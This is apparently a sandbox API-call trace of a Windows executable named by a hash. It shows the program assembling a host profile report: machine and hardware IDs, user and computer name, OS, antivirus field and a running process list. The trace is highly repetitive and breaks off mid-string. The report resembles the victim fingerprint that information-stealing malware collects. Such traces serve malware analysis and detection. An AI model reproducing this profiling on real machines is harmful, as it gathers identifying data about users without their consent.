lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452"
[0054.843] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452", lpString2="]\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n"
[0054.843] Process32Next (in: hSnapshot=0x508, lppe=0x182174 | out: lppe=0x182174*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x654, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x634, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
[0054.844] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n", lpString2="- " | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- ") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- "
[0054.844] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- ", lpString2="explorer.exe" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe"
[0054.844] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe", lpString2=" [" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe ["
[0054.844] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d9a8
[0054.844] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x4) returned 0x67d938
[0054.844] GetLastError () returned 0x7a
[0054.844] SetLastError (dwErrCode=0x7a)
[0054.844] GetLastError () returned 0x7a
[0054.845] SetLastError (dwErrCode=0x7a)
[0054.845] GetLastError () returned 0x7a
[0054.845] SetLastError (dwErrCode=0x7a)
[0054.845] GetLastError () returned 0x7a
[0054.845] SetLastError (dwErrCode=0x7a)
[0054.845] GetLastError () returned 0x7a
[0054.845] SetLastError (dwErrCode=0x7a)
[0054.845] GetLastError () returned 0x7a
[0054.845] SetLastError (dwErrCode=0x7a)
[0054.845] GetLastError () returned 0x7a
[0054.845] SetLastError (dwErrCode=0x7a)
[0054.845] GetLastError () returned 0x7a
[0054.845] SetLastError (dwErrCode=0x7a)
[0054.845] GetLastError () returned 0x7a
[0054.845] SetLastError (dwErrCode=0x7a)
[0054.845] GetLastError () returned 0x7a
[0054.845] SetLastError (dwErrCode=0x7a)
[0054.846] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67db18 | out: hHeap=0x670000) returned 1
[0054.846] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d938 | out: hHeap=0x670000) returned 1
[0054.846] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x671500 | out: hHeap=0x670000) returned 1
[0054.846] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x67d9a8 | out: hHeap=0x670000) returned 1
[0054.846] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [", lpString2="1620" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620") returned="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620"
[0054.846] lstrcatA (in: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 16:16:4\nTimeZone: UTC1\n\n[Hardware]\nProcessor: Intel(R) Core(TM) i5-7500 CPU @ 3.40GHz\nCores: 4\nThreads: 4\nRAM: 4096 MB\nVideoCard: Microsoft Basic Display Adapter\n\n[Processes]\n- System [4]\n- smss.exe [308]\n- csrss.exe [380]\n- wininit.exe [440]\n- csrss.exe [452]\n- winlogon.exe [504]\n- services.exe [528]\n- lsass.exe [536]\n- svchost.exe [620]\n- svchost.exe [652]\n- dwm.exe [756]\n- svchost.exe [856]\n- svchost.exe [880]\n- svchost.exe [904]\n- svchost.exe [924]\n- svchost.exe [324]\n- svchost.exe [344]\n- svchost.exe [1132]\n- spoolsv.exe [1228]\n- sihost.exe [1452]\n- explorer.exe [1620", lpString2="]\n" | out: lpString1="Version: 3.4\n\nDate: 13/4/2023 16:16:2\nMachineID: 03845cb8-7441-4a2f-8c0f-c90408af5778\nGUID: {c20d559d-6c9d-11eb-b0a3-806e6f6e6963}\nHWID: d5dbaa177eac3343412148-03845cb8-7441-4a2f-8c0f-b0a3-806e6f6e6963\n\nPath: C:\\Users\\RDhJ0CNFevzX\\Desktop\\05bf271392855e4962f4d736eb701e764ad972451205c8be5364f1bd9f824197.exe\nWork Dir: In memory\n\nWindows: Windows 10 Pro [x64]\nInstall date: 27/3/2020 15:46:17\nAV: 0Üg\nComputer Name: XC64ZB\nUser Name: RDhJ0CNFevzX\nDisplay Resolution: 1440x900\nDisplay Language: en-US\nKeyboard Languages: English (United States)\nLocal Time: 13/4/2023 